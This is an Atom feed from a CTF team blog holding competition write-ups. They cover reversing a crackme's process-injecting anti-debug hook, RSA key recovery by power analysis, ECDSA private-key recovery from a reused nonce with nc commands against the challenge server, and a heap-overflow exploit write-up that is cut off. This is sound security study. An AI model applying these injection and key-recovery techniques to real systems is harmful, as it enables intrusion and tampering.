<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>/var/log/smokedchicken.log</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/" />
    <link rel="self" type="application/atom+xml" href="http://smokedchicken.org/atom.xml" />
    <id>tag:smokedchicken.org,2009-12-10://1</id>
    <updated>2012-01-15T10:34:18Z</updated>
    
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 5.12</generator>

<entry>
    <title>SnD Reverser Tool</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/01/snd-reverser-tool.html" />
    <id>tag:smokedchicken.org,2012://1.65</id>

    <published>2012-01-14T10:03:37Z</published>
    <updated>2012-01-15T10:34:18Z</updated>

    <summary>Случайно наткнулся на утилиту SnD Reverser Tool. В частности, позволяет просканировать PE на константы криптоалгоритмов....</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Tools watch" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="reverseengineering" label="reverse engineering" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Случайно наткнулся на утилиту <a href="http://tuts4you.com/download.php?view.1923">SnD Reverser Tool</a>. В частности, позволяет просканировать PE на константы криптоалгоритмов.</p>]]>
        
    </content>
</entry>

<entry>
    <title>PHD CTF Afterparty</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/01/phd-ctf-afterparty.html" />
    <id>tag:smokedchicken.org,2012://1.64</id>

    <published>2012-01-03T12:53:10Z</published>
    <updated>2012-01-04T12:48:59Z</updated>

    <summary>Появилась возможность немного пореверсить, разбор таска Artifact. Win32 PE, не упакован. В строках есть &quot;Base must be binary (MR_ALWAYS_BINARY defined in mirdef.h ?)&quot;, а в импорте &quot;QueueUserAPC&quot;. Первое говорит о прилинкованной библиотеке Miracl. Второе - об асинхронных процедурах. Делаем/применяем сигнатуры...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Появилась возможность немного пореверсить, разбор таска <a href="http://smokedchicken.org/2012/01/03/artifact.zip">Artifact</a>.</p>

<p>Win32 PE, не упакован. В строках есть "Base must be binary (MR_ALWAYS_BINARY defined in mirdef.h ?)", а в импорте "QueueUserAPC". Первое говорит о прилинкованной библиотеке <a href="http://en.wikipedia.org/wiki/MIRACL_%28software%29">Miracl</a>. Второе - об асинхронных процедурах.</p>

<p>Делаем/применяем сигнатуры IDA для Miracl. В моем случае сигнатуры не сработали.</p>

<p>IDA находит _main по адресу 0x00403700, ее псевдокод:</p>

<pre class='brush:cpp'>
hFile = CreateFileA("ctf-pass-file.txt", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
ReadFile(hFile, g_pFileBuffer, 0x10u, &NumberOfBytesRead, 0);
...
SleepEx(1u, TRUE);
if (g_pDecisionFunc(g_pFileBuffer))
{
    printf("fail!\n");
}
else
{
    printf("you did it!\n");
    ...
    szHash = GetHash();
    printf("%s\n", szHash);
}
</pre>

<p>Создаем файл со строкой 16 символов, патчим переход по адресу 0x00403799, чтобы всегда сваливаться на ""you did it!". Запускаем, получаем какой-то хэш, как ответ не подходит. </p>

<p>Ставим брейк на 0x00403791 на g_pDecisionFunc(g_pFileBuffer). Запускам под отладчиком, Olly падает.<br />
</p>]]>
        <![CDATA[<p>Комбинация SleepEx(xxx, TRUE) и QueueUserAPC в импорте как бы намекает. Брейк на QueueUserAPC, попадаем ___tmainCRTStartup (0x00414A34) -> j_SetupUserAPC (0x00418660) -> SetupUserAPC (0x0041C340) -> QueueUserAPC. По адресу 0x4014A0 находится наш APCProc.</p>

<pre class='brush:plain'>
.text:004014A0                 push    ebp
...
.text:004014AD                 push    offset sub_42D1E8
.text:004014B2                 push    offset unk_421000
.text:004014B7                 call    GetDataFromMiracl
.text:004014BC                 add     esp, 8
.text:004014BF                 push    3
.text:004014C1                 call    GetSyscallIndex ; ZwProtectVirtualMemory
.text:004014C6                 add     esp, 4
.text:004014C9                 mov     [ebp+syscall], eax
.text:004014CC                 push    3
.text:004014CE                 call    GetNumberOfParam
.text:004014D3                 add     esp, 4
.text:004014D6                 mov     [ebp+syscall_param_count], eax
.text:004014D9                 mov     eax, [ebp+var_1C]
.text:004014DC                 xor     eax, 0FFFFFFFFh
.text:004014DF                 mov     [ebp+a4], eax
.text:004014E2                 mov     [ebp+a5], 2000h
.text:004014E9                 lea     ecx, [ebp+a7]
.text:004014EC                 push    ecx             ; a7
.text:004014ED                 push    40h             ; a6
.text:004014EF                 lea     edx, [ebp+a5]
.text:004014F2                 push    edx             ; a5
.text:004014F3                 lea     eax, [ebp+a4]
.text:004014F6                 push    eax             ; a4
.text:004014F7                 push    0FFFFFFFFh      ; param1
.text:004014F9                 mov     ecx, [ebp+syscall_param_count]
.text:004014FC                 push    ecx             ; param_count
.text:004014FD                 mov     edx, [ebp+syscall]
.text:00401500                 push    edx             ; syscall
.text:00401501                 call    DoSyscall
.text:00401506                 add     esp, 1Ch
...
</pre>

<p><br />
Первый вызов по адресу 0x004014B7 расшифровывает/декодирует кусок кода, используя Miracl.<br />
Следующие 3 вызова по адресам 0x004014C1, 0x004014CE и 0x00401501 соответственно подготавливают номер системного вызова, количество параметров и делает системный вызов.</p>

<p>Поиск системного вызова - 0x00405640 GetSyscallIndex(int nIndex). Внутри функции есть массив хэшей</p>

<pre class='brush:cpp'>
Hashes[0] = 0x1232B8E2;
Hashes[1] = 0xF70D3051;
Hashes[2] = 0xEB7FEB5E;
Hashes[3] = 0x2E8DB3FA;
Hashes[4] = 0xD02ED5BC;
Hashes[5] = 0x7659BF62;
Hashes[6] = 0xF6A0F55F;
Hashes[7] = 0x2C4E4F12;
Hashes[8] = 0x64FACEBB;
</pre>

<p>и по адресу 0x00405697 вызов функции FindNtdllFuncByName, которая находит адрес функции по переданному хэшу. Внутри все просто, через PEB находится ntdll.dll, затем в директории экспорта перебираются все имена экспортируемых функций, вычисляется хеш, при совпадении возвращается адрес кода найденной функции.</p>

<p>Функция вычисления хеша:</p>

<pre class='brush:cpp'>
int __cdecl GetHashOfFuncName(char *szFuncName)
{
    int hash;
    hash = 0;
    while (*szFuncName)
        hash = 51 * hash + (unsigned __int8)*szFuncName++;
    return hash;
}
</pre>

<p>Пишем скрипт, который посчитает хэши всех функций ntdll.dll. Получить список экспортируемых функций можно, например, с помощью dumpbin.exe.</p>

<pre class='brush:plain'>
0 ==> 0x1232b8e2 ==> ZwAllocateVirtualMemory
1 ==> 0xf70d3051 ==> ZwReadVirtualMemory
2 ==> 0xeb7feb5e ==> ZwWriteVirtualMemory
3 ==> 0x2e8db3fa ==> ZwProtectVirtualMemory
4 ==> 0xd02ed5bc ==> ZwOpenProcess
5 ==> 0x7659bf62 ==> ZwQuerySystemInformation
6 ==> 0xf6a0f55f ==> ZwCreateThread
7 ==> 0x2c4e4f12 ==> ZwQueryInformationProcess
8 ==> 0x64facebb ==> ZwClose
</pre>

<p>После того, как адрес Zw-функции найден, GetSyscallIndex добавляет к адресу 1 и возвращает DWORD по полученному адресу - а это и есть номер системного вызова. Например, для ZwAllocateVirtualMemory, под W7 номер 0x13:</p>

<pre class='brush:plain'>
772E52D8 > B8 13000000      MOV EAX,13
772E52DD   BA 0003FE7F      MOV EDX,7FFE0300
772E52E2   FF12             CALL DWORD PTR DS:[EDX]
772E52E4   C2 1800          RETN 18
</pre>

<p>Но вернемся к APCProc. Далее происходит копирование расшифрованного/декодированного буфера на адрес 0x00401580 и передача туда управления. После выполнения расшифрованного кода, он затирается memset'ом.</p>

<pre class='brush:plain'>
.text:00401509                 push    12EBh           ; size_t
.text:0040150E                 push    offset sub_42D1E8 ; void *
.text:00401513                 mov     eax, [ebp+var_1C]
.text:00401516                 xor     eax, 0FFFFFFFFh
.text:00401519                 push    eax             ; void *
.text:0040151A                 call    _memmove        ; dest = 00401580
.text:0040151A                                         ; srd =  0042D1E8
.text:0040151A                                         ; size = 000012EB
.text:0040151F                 add     esp, 0Ch
.text:00401522                 mov     ecx, [ebp+var_1C]
.text:00401525                 xor     ecx, 0FFFFFFFFh
.text:00401528                 mov     [ebp+a4], ecx
.text:0040152B                 mov     [ebp+a5], 2000h
.text:00401532                 mov     edx, [ebp+var_1C]
.text:00401535                 xor     edx, 0FFFFFFFFh
.text:00401538                 mov     [ebp+var_4], edx
.text:0040153B                 push    1
.text:0040153D                 call    [ebp+var_4]     ; 00401580
.text:00401540                 push    12EBh           ; size_t
.text:00401545                 push    0               ; int
.text:00401547                 mov     eax, [ebp+var_1C]
.text:0040154A                 xor     eax, 0FFFFFFFFh
.text:0040154D                 push    eax             ; void *
.text:0040154E                 call    _memset
</pre>

<p>Вся основная работа происходит в расшифрованной функции 0x00401580. Здесь получается список процессов через ZwQuerySystemInformation, затем каждый процесс открывается ZwOpenProcess, в нем выделяется страница памяти через ZwAllocateVirtualMemory, декодируется перехватчик ZwReadVirtualMemory и пишется в выделенную память. Затем сплайсится ZwReadVirtualMemory.<br />
Код хука (после последней инструкции записан PID защищаемого процесса, номера вызовов ZwQueryInformationProcess и ZwReadVirtualMemory):</p>

<pre class='brush:plain'>
.data:004332E0 ZwReadVirtualMemory_Hook proc near
.data:004332E0
.data:004332E0 var_124         = dword ptr -124h
.data:004332E0 nRetLength      = byte ptr -108h
.data:004332E0 ProcessInformation= byte ptr -104h
.data:004332E0 var_F8          = dword ptr -0F8h
.data:004332E0 var_8           = dword ptr -8
.data:004332E0 arg_0           = dword ptr  4
.data:004332E0 arg_4           = dword ptr  8
.data:004332E0
.data:004332E0                 push    ebx
.data:004332E1                 call    getDelta
.data:004332E6                 add     ebx, 3
.data:004332E9                 mov     edx, [esp+4+arg_0]
.data:004332ED                 sub     esp, 104h
.data:004332F3                 lea     eax, [esp+108h+nRetLength]
.data:004332F6                 lea     ecx, [esp+108h+ProcessInformation]
.data:004332FA                 push    eax
.data:004332FB                 push    18h
.data:004332FD                 push    ecx
.data:004332FE                 xor     eax, eax
.data:00433300                 push    eax
.data:00433301                 push    edx
.data:00433302                 push    edx
.data:00433303                 mov     eax, [ebx+4]    ; ZwQueryInformationProcess
.data:00433306                 call    $+5
.data:0043330B                 add     [esp+124h+var_124], 8
.data:0043330F                 mov     edx, esp
.data:00433311                 sysenter
.data:00433313                 add     esp, 1Ch
.data:00433316                 mov     eax, [esp+108h+var_F8]
.data:0043331A                 mov     ecx, [ebx]      ; pid
.data:0043331C                 add     esp, 100h
.data:00433322                 cmp     ecx, eax
.data:00433324                 mov     eax, [ebx+8]    ; ZwReadVirtualMemory
.data:00433327                 pop     ebx
.data:00433328                 jnz     short call_ZwReadVirtualMemory
.data:0043332A                 call    $+5
.data:0043332F
.data:0043332F crash_debugger:
.data:0043332F                 pop     ecx
.data:00433330                 push    ecx
.data:00433331                 add     ecx, 0Ch
.data:00433334                 mov     [esp+8+var_8], ecx
.data:00433337                 mov     edx, esp
.data:00433339                 sysenter
.data:0043333B                 mov     ecx, [esp+8+arg_0]
.data:0043333F                 mov     edx, [esp+8+arg_4]
.data:00433343                 cmp     edx, 1
.data:00433346                 jz      short locret_43336A
.data:00433348                 push    esi
.data:00433349                 mov     esi, eax
.data:0043334B                 mov     eax, large fs:18h
.data:00433351                 mov     eax, [eax+24h]
.data:00433354                 xor     eax, 1234A965h
.data:00433359
.data:00433359 loc_433359:
.data:00433359                 xor     byte ptr (crash_debugger - 43332Fh)[edx+ecx], al
.data:0043335C                 inc     al
.data:0043335E                 mov     ah, al
.data:00433360                 shl     ah, 1
.data:00433362                 xor     al, ah
.data:00433364                 dec     edx
.data:00433365                 jnz     short loc_433359
.data:00433367                 mov     eax, esi
.data:00433369                 pop     esi
.data:0043336A
.data:0043336A locret_43336A:
.data:0043336A                 retn    14h
.data:0043336D ; ---------------------------------------------------------------------------
.data:0043336D
.data:0043336D call_ZwReadVirtualMemory:
.data:0043336D                 call    $+5
.data:00433372                 add     [esp+8+var_8], 8
.data:00433376                 mov     edx, esp
.data:00433378                 sysenter                ; ZwReadVirtualMemory
.data:0043337A                 retn    14h
.data:0043337A ZwReadVirtualMemory_Hook endp
.data:0043337A
.data:0043337D
.data:0043337D getDelta        proc near
.data:0043337D                 call    $+5
.data:00433382                 pop     ebx
.data:00433383                 retn
.data:00433383 getDelta        endp
</pre>

<p>Перехватчик проверяет PID, при совпадении портит TEB, а также запрошенный буфер, что приводит к крэшу Olly.<br />
Так как в обработчике нет ничего полезного, правим функцию 0x00401580, чтобы она больше не делала противоотладку: по адресу 0x00401597 пишем JMP 0x00402051. И попадаем на вторую часть функции.</p>

<p>Здесь декодируется 16 байт считанных из файла в _main и записываются обратно.</p>

<pre class='brush:cpp'>
syscall = GetSyscallIndex(1);       // ZwReadVirtualMemory
syscall_params_count = GetNumberOfParam(1);
DoSyscall(syscall, syscall_params_count, -1, g_pFileBuffer, pReadBuffer, 16, &a6);
for (l = 0; l < 16; ++l)
{
    symb = pReadBuffer[l];
    for (m = 0; m < 256; ++m)
    {
        if (m * symb % 257 == 1)
        {
            pReadBuffer[l] = m;
            break;
        }
    }
}
syscall = GetSyscallIndex(2);       // ZwWriteVirtualMemory
syscall_params_count = GetNumberOfParam(2);
DoSyscall(syscall, syscall_params_count, -1, g_pFileBuffer, pReadBuffer, 16, &a6);
</pre>

<p>Затем декодируется DecisionFunc и заполняется указатель g_pDecisionFunc.</p>

<pre class='brush:cpp'>
signed int DecisionFunc(char *pFileBuffer)
{
    signed int idx;
    unsigned int current;
    int value;
    int aConstants[16];
    aConstants[2] = 86356;
    aConstants[3] = 86356;
    aConstants[0] = 468517;
    aConstants[1] = 56613;
    aConstants[4] = 243006;
    aConstants[5] = 254505;
    aConstants[6] = 373182;
    aConstants[7] = 32439;
    aConstants[8] = 506585;
    aConstants[9] = 271621;
    aConstants[10] = 32439;
    aConstants[11] = 207142;
    aConstants[12] = 56613;
    aConstants[13] = 506585;
    aConstants[14] = 284318;
    aConstants[15] = 3;
    idx = 0;
    while (1)
    {
        current = 3;
        if (pFileBuffer[idx] > 0)
        {
            value = pFileBuffer[idx];
            do
            {
                current = current * current % 0x7FFFF;
                --value;
            }
            while (value);
        }
        if (current != aConstants[idx])
            break;
        ++idx;
        if (idx >= 16)
            return 0;
    }
    return 1;
}
</pre>

<p>Используя этот код, пишет брутер в символов в диапазоне (-127, 128).<br />
Получаем строку 'Hello, cracker!' + '\0'. Затем кодируем его по правилу из предыдущего листинга, получаем</p>

<pre class='brush:plain'>
19 1C BC BC 2C 6F F9 87 │ 7C 35 87 F5 1C 7C 94 00   ↓∟??,oщ╪|5╪х∟|"
</pre>

<p>Записываем эти 16 байт в ctf-pass-file.txt, кладем рядом с artifact.exe, запускам, получаем ответ</p>

<pre class='brush:plain'>
you did it!
1b0aacc9baf278a3f9e5bd0b7d746e22
</pre>]]>
    </content>
</entry>

<entry>
    <title>hack.lu CTF Power security tokens</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/09/hacklu-ctf-power-security-tokens.html" />
    <id>tag:smokedchicken.org,2011://1.63</id>

    <published>2011-09-21T13:38:49Z</published>
    <updated>2011-10-17T11:05:11Z</updated>

    <summary>Having trace.pkl file and title with keyword &quot;power&quot; we know thats it&apos;s an Power Analysis task. In task said it&apos;s an signature generation function, by task name keyword &quot;tokens&quot; we can assume it&apos;s RSA. If we plot some of our...</summary>
    <author>
        <name>kyprizel</name>
        <uri>http://www.kyprizel.net</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="crypto" label="crypto" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="hacklu" label="hacklu" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="spa" label="spa" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Having trace.pkl file and title with keyword "power" we know thats it's an <a href=http://en.wikipedia.org/wiki/Power_analysis#Simple_power_analysis>Power Analysis</a> task.

In task said it's an signature generation function, by task name keyword "tokens" we can assume it's RSA.<br/>
<br/>
If we plot some of our data list, we get something like:

<a href="http://smokedchicken.org/2011/09/21/spa.png"><img alt="click to zoom" src="http://smokedchicken.org/assets_c/2011/09/spa-thumb-220x165-104.png" width="220" height="165" class="mt-image-none" style="" /></a>
<br/>
Can you see impulses?<br/><br/>Main idea of Power analysis is that different instructions have different power consumption patterns.
<br/>
RSA signature generation:

<pre class="brush: plain">
S = M^d mod N

or

S=1
for i =L-1 downto 0:
    S = S^2 mod N
    if di == 1:
        S = S * M mod N
</pre>

For every bit of d we've square and if bit = 1 we've multiplication also. So we just check our data for duration patterns:<br/>
short+long=1, short=0. Simple, hah?<br/>

<br/>Sources <a href="http://smokedchicken.org/2011/09/21/solve.txt">included</a>.<br/>

Thanks to @hellman1908 for error corection!]]>
        
    </content>
</entry>

<entry>
    <title>Second hack.lu pre-ctf challenge(ECDSA) solution</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/09/fluxfingers-posted-their-second-pre-ctf.html" />
    <id>tag:smokedchicken.org,2011://1.62</id>

    <published>2011-09-13T23:22:50Z</published>
    <updated>2011-09-18T19:19:43Z</updated>

    <summary>Fluxfingers posted their second pre-ctf challenge. It looks like &quot;nc 0xbadcab1e.lu 9999&quot; Sending &quot;test&quot; as input we get the following response: Using secp192r1, SHA-1. connected at Tue Sep 13 23:03:25 2011. Your message is test. (r, s) = (0xe529012d41b1b2667c60764d75ab3318eda4043240bc003b, 0x79a546c30d1097473f675d3b9ee3fb55f9f6e6fd2127f8b)...</summary>
    <author>
        <name>kyprizel</name>
        <uri>http://www.kyprizel.net</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="crypto" label="crypto" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Fluxfingers posted their second pre-ctf challenge.
It looks like 
"nc 0xbadcab1e.lu 9999"
<br/>
Sending "test" as input we get the following response:

<pre class="brush: plain">
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:03:25 2011.
Your message is test.
(r, s) = (0xe529012d41b1b2667c60764d75ab3318eda4043240bc003b, 0x79a546c30d1097473f675d3b9ee3fb55f9f6e6fd2127f8b)
</pre>

As we can see SHA-1 is a signature hash function, and secp192r1 is an elliptic curve identificator. So, we have Elliptic curve, hash function and signature = <a href="http://en.wikipedia.org/wiki/ECDSA">ECDSA</a>.
<br/>
Sending same message to the server couple of times - we receive different signatures. But if we send same message two times fast enough:

<pre class="brush: plain">
$ echo &quot;test&quot; &gt; /tmp/121
$ echo &quot;test&quot; &gt; /tmp/122
$ perl -e 'foreach (1,2) {`nc -vvv 0xbadcab1e.lu 9999 &lt; /tmp/12$_ &gt;&gt; /tmp/res`}' &amp;&amp; cat /tmp/res

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:32:03 2011.
Your message is test.
(r, s) = (0x807baa0fd768f05ea851a8a48b0b3f509d02c0f1fc148e36, 0x5551c48119129b3e6bfc1a705d08455cde0fc10f527c1925)

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:32:03 2011.
Your message is test.
(r, s) = (0x807baa0fd768f05ea851a8a48b0b3f509d02c0f1fc148e36, 0x5551c48119129b3e6bfc1a705d08455cde0fc10f527c1925)
</pre>

Boom! k value to be reused, and likely k is a timestamp.
Let's check:

<pre class="brush: plain">
$ echo &quot;test1&quot; &gt; /tmp/122
$ cat /dev/null &gt; /tmp/res
$ perl -e 'foreach (1,2) {`nc -vvv 0xbadcab1e.lu 9999 &lt; /tmp/12$_ &gt;&gt; /tmp/res`}' &amp;&amp; cat /tmp/res

This is the signature generation machine.
connected at Tue Sep 13 23:36:53 2011.
Your message is test.
(r, s) = (0xf5e361f5e7e9936b1313ea2a8ad49a42f91fca30f232739d, 0xce8e2c43f6245d1f446a100baed038887c70e8e8fe5b2365)

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:36:53 2011.
Your message is test1.
(r, s) = (0xf5e361f5e7e9936b1313ea2a8ad49a42f91fca30f232739d, 0xe9a22b9c1feb92d719dc660ab8b3f25207105edb09d3e2ba)
</pre>

<pre class="brush: plain">
e1 = sha1(&quot;test&quot;)
e2 = sha1(&quot;test1&quot;)
s1 = 0xce8e2c43f6245d1f446a100baed038887c70e8e8fe5b2365
s2 = 0xe9a22b9c1feb92d719dc660ab8b3f25207105edb09d3e2ba
</pre>

compute k<br/>
<center><img src="/2011/09/14/k.png" alt="k = ((s1-s2)**-1) * (e1-e2) (mod p) where **-1 is modular inverse" /></center><br/>

<pre class="brush: plain">
k = 1315957013
</pre>

Is it a timestamp?

<pre class="brush: plain">
&gt;&gt;&gt; datetime.datetime.fromtimestamp(k)
datetime.datetime(2011, 9, 14, 3, 36, 53)
</pre>

Having k we can easily compute d:<br/>
<center><img src="/2011/09/14/d.png" alt="d = r1**-1 (k*s-e1) mod n"></center>

<pre class="brush: plain">
d = 373503280115841781950920337998842730338017239909
ascii(AlwaysUseAFreshNonce)
</pre>

To check if d is correct - sign message "test" using curve secp192r1 and found d.
]]>
        
    </content>
</entry>

<entry>
    <title>Funny thing about DEFCON CTF and IPv6</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/08/funny-thing-about-defcon-ctf.html" />
    <id>tag:smokedchicken.org,2011://1.60</id>

    <published>2011-08-27T14:29:16Z</published>
    <updated>2011-09-23T07:41:08Z</updated>

    <summary>As you all probably know, this year DEFCON CTF Final was completely in IPv6. There were 12 teams with IPv6 addresses of servers from dc19:c7f:2011:1::2 to dc19:c7f:2011:c::2. You probably want to know what did it mean to the team #10...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>As you all probably know, this year DEFCON CTF Final was completely in IPv6. There were 12 teams with IPv6 addresses of servers from dc19:c7f:2011:<big><strong><u>1</u></strong></big>::2 to dc19:c7f:2011:<big><strong><u>c</u></strong></big>::2.</p>

<p>You probably want to know what did it mean to the team #10 (sutegoma2) with IPv6 address dc19:c7f:2011:<big><u><strong>a</strong></u></big>::2?</p>

<p>For them it was extremely difficult to write connect-back shellcodes: it always contained \x0a string from the IP-address which is the caret sign "\n", so the shellcode got cut off by this character.</p>

<p>ddtek made some kind of IP-address team discrimination :-). Hopefully, they are not racists.</p>

<p>Moral: don't use connect-back shellcodes, get whatever you want and terminate inside one connection.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Team IV gets 4th place at #defcon CTF finals!</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/08/team-iv-gets-4th-place-at-defcon-ctf-finals.html" />
    <id>tag:smokedchicken.org,2011://1.59</id>

    <published>2011-08-11T22:38:07Z</published>
    <updated>2011-10-17T09:24:55Z</updated>

    <summary>The very first Russian team in the finals of DEFCON CTF gets 4th place! More writing up is coming soon! Congrats to all participated members of &quot;IV&quot; and &quot;Smoked Chicken&quot;! Now heading up for 1st place....</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="defcon19" label="defcon19" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="results" label="results" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>The very first Russian team in the finals of DEFCON CTF gets 4th place!</p>

<p><a href="http://ddtek.biz/"><img src="http://i.imgur.com/I6fLV.png" /></a></p>

<p>More writing up is coming soon!</p>

<p>Congrats to all participated members of "IV" and "Smoked Chicken"! Now heading up for 1st place.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Defcon 19 Quals 4th place</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/06/defcon-19-quals-4th-place.html" />
    <id>tag:smokedchicken.org,2011://1.58</id>

    <published>2011-06-14T07:45:03Z</published>
    <updated>2011-06-15T06:34:12Z</updated>

    <summary>In collaboration with Hackerdom, SiBears and Leet More we made the fourth place! Now officially at ddtek.biz....</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>In collaboration with <a href="http://hackerdom.ru">Hackerdom</a>, <a href="http://sibears.ru">SiBears</a> and <a href="http://leetmore.ctf.su/">Leet More</a> we made the fourth place! Now officially at <a href="http://ddtek.biz">ddtek.biz</a>.</p>

<p><img alt="Defon 19 Quals Results" src="http://smokedchicken.org/2011/06/14/Defon%2019%20Quals%20Results.png" width="528" height="481" class="mt-image-none" style="" /></p>]]>
        
    </content>
</entry>

<entry>
    <title>#defcon pp500 write-up and exploit</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2011/06/defcon19-pp500-write-up-and-exploit.html" />
    <id>tag:smokedchicken.org,2011://1.57</id>

    <published>2011-06-10T10:23:48Z</published>
    <updated>2012-01-04T09:17:49Z</updated>

    <summary>DEFCON CTF Quals occured at July 3-6 were cool! We took part in the competition together with couple other teams under united name &quot;IV&quot;. 53 hours of continuous hacking and reversing, tons of interesting and challenging tasks. We were still...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="defcon19quals" label="defcon19 quals" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>DEFCON CTF Quals occured at July 3-6 were cool! We took part in the competition together with couple other teams under united name "IV".</p>
<p>53 hours of continuous hacking and reversing, tons of interesting and challenging tasks.  We were still submitting tasks in the last seconds and as a result we have passed to the finals, to meet, you guys, in Vegas.</p>
<p>AFAIK nobody has put the solution for pwtent pwnables 500, which was quite an interesting exploitation challenge.  
</p><p>Solution in a nutshell: <strong>heap overflow + memory leak</strong>.</p>

<h1>[1] Vulnerability discovery</h1>

The program is a network service. The main loop reads the command number and executes it. In total there are 6 commands supported.<p>

<pre class="brush: cpp">
    while (1) 
    { 
      switch (read_option (sock);) 
      { 
        default: 
          continue; 
        case 113: 
          return 0; 
        case 117: 
          cmd_upload_new_record (sock); 
          break; 
        case 100: 
          cmd_download_record (sock); 
          break; 
        case 118: 
          cmd_view_summary (sock); 
          break; 
        case 114: 
          cmd_view_record (sock); 
          break; 
        case 101: 
          cmd_edit_record (sock); 
          break; 
        case 120: 
          cmd_delete_record (sock); 
          break; 
      } 
    } 
</pre>

[1.1] List of commands<p>
[1.1.1] "upload_new_record"<p>

When creating a new record, an instance of "class01" or "class02" is randomly created. It keeps all the data read. All generated instances are stored in the global associative array. <p>
<pre class="brush: cpp">
  read(dev_urandom_fd, &amp;type_dw, 4);
  buf_len = recv(sock, buf, 0x100, 0);
  calc_hash(&amp;hash_str, buf);


  if( type_dw &amp; 1 ){
  {
    class_ptr = operator new(216);
    class01::class01(class_ptr, buf, buf_len);
  }
  else
  {
    class_ptr = operator new(240);
    class02::class02(class_ptr, buf, buf_len);
  }
</pre>

[1.1.2] "view_summary"<p>

Lists all the classes and calls a virtual function for each. <p>
<pre class="brush: cpp">
for ( map::iterator it=buffers_map.begin() ; it != buffers_map.end(); it++ ){
     (*it)-&gt;dump_obj();               //virtual function 4
}
</pre>

Example of output: 
<pre class="brush: bash">
Item ID: 0 
Item Value: 2007987856 
Item ID: 1 
Item Value: 3677123346 
</pre>

<p>[1.1.3] "edit_record"</p>

  <p>Calls the virtual function to copy the new buffer.</p>

<pre class="brush: cpp">
  read_obj_id(&amp;obj_id, sock);
  recv(sock, buf, 0x100, 0);
  buffers_map[obj_id]-&gt;copy_buffer(buf);     //virtual function 0
</pre>

<p>[1.1.4] other commands</p>

<ul>
	<li>view record - show for one record: sequence number, rnd_value and hex dump of data</li>
	<li>delete record - delete record from map and free memory </li>
	<li>download record - get raw data </li>
</ul>

[1.2] Classes<p>

As was shown above, when a record is added, an instance of "class01" or "class02" is randomly generated. These two classes are almost identical, except for buffer size and the implementation of the virtual function "copy_buffer". <p>

<pre class="brush: cpp">
struct base_class
{
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;
};

struct class_01
{
  base_class base;
  char buffer[200];
};

struct class_02
{
  base_class base;
  char buffer[224];
};
</pre>

Constructor, which copies the data into an internal buffer:<p>
<pre class="brush: cpp">
class02:: class02 (class_02 * this, const void * buf, unsigned int buf_len) 
{ 
  base:: base (&amp; this-&gt; base); 
  this-&gt; base.vftable = &amp; class02_vftable; 
  if (buf_len &lt;= 224) 
    this-&gt; base.buffer_len = buf_len; 
  else 
    this-&gt; base.buffer_len = 224 
  return memcpy (this-&gt; buffer, buf, this-&gt; base.buffer_len); 
} 
</pre>

Virtual function table:<p>
